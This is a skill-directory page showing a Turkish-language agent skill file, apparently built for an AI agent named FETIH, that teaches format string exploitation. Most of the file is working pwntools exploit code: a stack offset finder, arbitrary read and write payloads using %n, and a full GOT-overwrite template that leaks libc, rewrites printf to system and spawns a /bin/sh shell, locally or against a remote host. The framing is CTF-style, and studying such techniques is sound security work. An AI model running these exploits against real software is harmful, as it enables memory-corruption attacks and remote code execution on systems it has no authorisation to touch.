本文へ移動
cccskills
無料GitHub で公開

format-string

printf format string ile arbitrary read/write — GOT overwrite, libc leak, RCE

インストール方法を見る

含まれるファイル(1)

  • SKILL.md7.8 KB

SKILL.md(原文)

インストールする前に、エージェントに与えられる指示の中身を確認できます。

Format String Exploitation

Tespit: printf(buf) vs printf("%s", buf) Farkı

// SAVUNMASIZ — kullanıcı girişi doğrudan format string olarak geçiyor
printf(buf);
fprintf(stderr, buf);
sprintf(dst, buf);

// GÜVENLİ — kullanıcı girişi sadece argüman
printf("%s", buf);

Kaynak yoksa binary'yi tersine çevir:

# objdump ile printf çağrılarına bak
objdump -d vuln | grep -A5 "call.*printf"

# gdb'de çalıştır ve %p gönder — stack adresleri geliyorsa zafiyet var
python3 -c "print('%p.'*20)" | ./vuln

Stack Leak: %p.%p.%p... ile Offset Bul

Format string argümanları sıralı stack konumlarına karşılık gelir. %1$p → 1. argüman (rsi), %2$p → 2. argüman (rdx), ... %7$p → stack'ten okuma başlar.

#!/usr/bin/env python3
# fmtstr_offset_finder.py — kaçıncı offset kendi buffer'ımızı gösteriyor?

from pwn import *

BINARY = "./vuln"
context.binary = elf = ELF(BINARY)

MARKER = 0x4141414142424242   # "AAAABBBB" — kolayca tanınır

for i in range(1, 50):
    io = process(BINARY)
    payload = f"AAAABBBB.%{i}$p".encode()
    io.sendlineafter(b">>> ", payload)
    resp = io.recvline()
    io.close()

    if b"0x4141414142424242" in resp or b"4242424241414141" in resp:
        log.success(f"Buffer offset: {i}")
        break
    else:
        log.info(f"[{i}] {resp.strip()}")

Çıktı: Buffer offset: 6 → artık %6$p kendi buffer'ını okur.


Arbitrary Read: %N$s ile Adres Oku

Stack'te bir adres varsa o adresin gösterdiği belleği okuyabilirsin:

# Stack'teki N. değeri string olarak oku (null'a kadar)
payload = b"%7$s"

# Belirli bir adresi okumak:
# 1) Adresi buffer'a yaz
# 2) %N$s ile o konumu oku (N = buffer'ın stack offseti)

target_addr = elf.got["puts"]       # örnek: puts GOT girişini oku

# fmtstr ile:
payload = p64(target_addr) + b".%7$s"   # 7 = buffer offset (yukarıda bulduk)

io.sendlineafter(b">>> ", payload)
leaked = io.recvuntil(b"\n").split(b".")[1]
puts_addr = u64(leaked.ljust(8, b"\x00"))
log.success(f"puts@libc = {hex(puts_addr)}")

Arbitrary Write: %N$n ile Adrese Yaz

%n → o ana kadar yazılan karakter sayısını belirtilen adrese yazar. %hn → 2 byte, %hhn → 1 byte yazar.

Manuel %n Yazma

# target_addr'e value değerini yaz (1 byte)
# Yöntem: %<value>c%<offset>$hhn

target_addr = elf.got["exit"]   # exit GOT'u overwrite et
value       = 0x41             # yazmak istediğimiz değer (1 byte)
buf_offset  = 6               # buffer'ın stack offseti

# Adres buffer'ın başına:
payload  = p64(target_addr)
# %65c → 65 karakter çıkar (0x41 = 65), %6$hhn → 6. stack argümanına yaz
payload += f"%{value - 8}c%{buf_offset}$hhn".encode()
# Not: p64 zaten 8 byte yazdığı için value'dan 8 çıkar

io.sendlineafter(b">>> ", payload)

4-byte Değer Yazmak (short write tekniği)

Büyük değerleri (adres gibi) tek seferde yazmak yavaş olur (milyonlarca karakter). Bunun yerine 2-byte parçalar halinde yaz:

target_addr = elf.got["puts"]
new_value   = 0xdeadbeef       # 4 byte değer

low2  = new_value & 0xffff        # 0xbeef
high2 = (new_value >> 16) & 0xffff  # 0xdead

# İki ayrı write
writes = {
    target_addr    : low2,
    target_addr + 2: high2,
}

pwntools fmtstr_payload Kullanımı

pwntools'un fmtstr_payload fonksiyonu tüm bu işi otomatik yapar:

#!/usr/bin/env python3
# fmtstr_exploit.py — pwntools otomatik payload

from pwn import *

BINARY = "./vuln"
context.binary = elf = ELF(BINARY)
context.log_level = "info"

io = process(BINARY)

# Hedef: exit() çağrıldığında win() çalışsın
exit_got = elf.got["exit"]
win_addr  = elf.symbols["win"]

OFFSET = 6   # buffer'ın stack offseti (yukarıda bulduk)

# fmtstr_payload(offset, {adres: değer}, yazma birimi)
# numbwritten: payload öncesinde kaç byte yazıldı (genellikle 0)
payload = fmtstr_payload(OFFSET, {exit_got: win_addr}, numbwritten=0)

log.info(f"Payload uzunluğu: {len(payload)}")
io.sendlineafter(b">>> ", payload)

io.interactive()

fmtstr_payload Parametreleri

fmtstr_payload(
    offset,           # buffer'ın stack offset numarası
    writes,           # {adres: değer} sözlüğü
    numbwritten=0,    # önceden yazdırılan karakter sayısı
    write_size="byte" # "byte" | "short" | "int" — yazma granülaritesi
)

GOT Overwrite Şablonu

#!/usr/bin/env python3
# got_overwrite.py — format string ile GOT zehirleme

from pwn import *

BINARY = "./vuln"
LIBC   = "./libc.so.6"

context.binary = elf  = ELF(BINARY)
libc = ELF(LIBC)
context.log_level = "info"

def start():
    if args.REMOTE:
        return remote("chall.ctf.site", 1337)
    return process(BINARY)

io = start()

OFFSET = 6   # kendi binary'ne göre ayarla

# ── Aşama 1: Libc Leak (printf göndererek okuma) ─────────────────────────────
# printf@got adresini stack'e hazırla ve %7$s ile oku
printf_got = elf.got["printf"]

# Adres buffer'da duruyor, %7$s o belleği okuyor
leak_payload = p64(printf_got) + f"%{OFFSET}$s".encode()

io.sendlineafter(b">>> ", leak_payload)
resp = io.recvuntil(b"\n")

# İlk 8 byte adres, sonrasında "."
leaked = resp[8:16].ljust(8, b"\x00")
printf_libc = u64(leaked)
log.success(f"printf@libc = {hex(printf_libc)}")

libc.address = printf_libc - libc.symbols["printf"]
log.success(f"libc base   = {hex(libc.address)}")

system_addr = libc.symbols["system"]
log.info(f"system      = {hex(system_addr)}")

# ── Aşama 2: GOT Overwrite — printf → system ─────────────────────────────────
# Artık printf("/bin/sh") → system("/bin/sh") gibi çalışır!
writes = {elf.got["printf"]: system_addr}
overwrite_payload = fmtstr_payload(OFFSET, writes)

io.sendlineafter(b">>> ", overwrite_payload)

# ── Aşama 3: Trigger ──────────────────────────────────────────────────────────
# printf("/bin/sh") çağrılacak — artık system("/bin/sh")
io.sendlineafter(b">>> ", b"/bin/sh\x00")

io.interactive()

Yaygın Tuzaklar

1. Null Byte Sorunu (64-bit)

64-bit adreslerde \x00 byte'ları format string'i keser. Çözüm: adresi payload'ın sonuna koy.

# Hatalı — adres başta, null byte formatı keser
payload = p64(addr) + b"%6$s"

# Doğru yöntem — pwntools bunu otomatik halleder
# Manuel yaparsan adresi en sona taşı ve formatı önce ver:
payload = b"%6$s" + p64(addr)
# Ama offset hesaplaması değişir — dikkatli ol

2. Partial RELRO vs Full RELRO

checksec vuln
# Partial RELRO → GOT yazılabilir, overwrite mümkün
# Full RELRO    → GOT salt okunur, sadece okuma saldırısı yapılabilir

3. Buffer Boyutu Kısıtlaması

fmtstr_payload bazen uzun payload üretir. Kısa tutmak için:

payload = fmtstr_payload(OFFSET, writes, write_size="short")  # daha kısa

4. printf Çıktı Tamponu

printf çıktısı bazen tamponlanır — fflush çağrısına kadar gelmeyebilir.

io.recvuntil(b">>> ", timeout=3)   # timeout ile bekle
<!-- ⚔ Bu skill FETIH AI Agent icin gelistirilmistir — https://github.com/MustafaKemal0146/fetih Yetkisiz kullanim/kopyalama tespit edilebilir. hash: b8048e49b62456aa -->

レビュー

まだレビューはありません。使ってみた感想をお寄せください。

同じリポジトリのスキル

概要と使いどころ

21st.dev Magic MCP — AI-powered UI component generation via natural language. Access to 21st.dev component library, SVGL brand logos, and real-time preview. Generate React/Tailwind components with /ui command.

日本語の概要は準備中です。原文の説明を表示しています。

MustafaKemal0146/fetih52026年10月11日 更新

AES CBC/ECB modlarına karşı kriptografik bütünlük saldırıları — bit flipping, IV manipulation, ECB cut-and-paste, CBC-MAC length extension, IV reuse

日本語の概要は準備中です。原文の説明を表示しています。

MustafaKemal0146/fetih52026年10月11日 更新

AES-GCM ve ChaCha20-Poly1305 nonce yeniden kullanımı saldırısı — GF(2^128) polinom kök bulma ile Hash Key kurtarma ve MAC sahteciliği.

日本語の概要は準備中です。原文の説明を表示しています。

MustafaKemal0146/fetih52026年10月11日 更新

tespit etmeabnormal access patterns in AWS S3, GCS, and Azure Blob Storage by analyzing CloudTrail Data Events, GCS audit logs, and Azure Storage Analytics. Identifies after-hours bulk downloads, access from new IP addresses, unusual API calls (GetObject spikes), and potential data exfiltration using statistical baselines and time-series anomaly Tespit.

日本語の概要は準備中です。原文の説明を表示しています。

MustafaKemal0146/fetih52026年10月11日 更新

Perform static and symbolic analysis of Solidity smart contracts using Slither and Mythril to tespit etmereentrancy, integer overflow, access control, and other vulnerability classes before Dağıt:ment to Ethereum mainnet.

日本語の概要は準備中です。原文の説明を表示しています。

MustafaKemal0146/fetih52026年10月11日 更新

Parses Kubernetes API server audit logs (JSON lines) to tespit etmeexec-into-pod, secret access, RBAC modifications, privileged pod creation, and anonymous API access. Builds threat Tespit rules from audit event patterns. Use investigating yaparken Kubernetes cluster compromise or building k8s-specific SIEM Tespit rules.

日本語の概要は準備中です。原文の説明を表示しています。

MustafaKemal0146/fetih52026年10月11日 更新

MustafaKemal0146 のスキルをすべて見る

このスキルの問題を報告する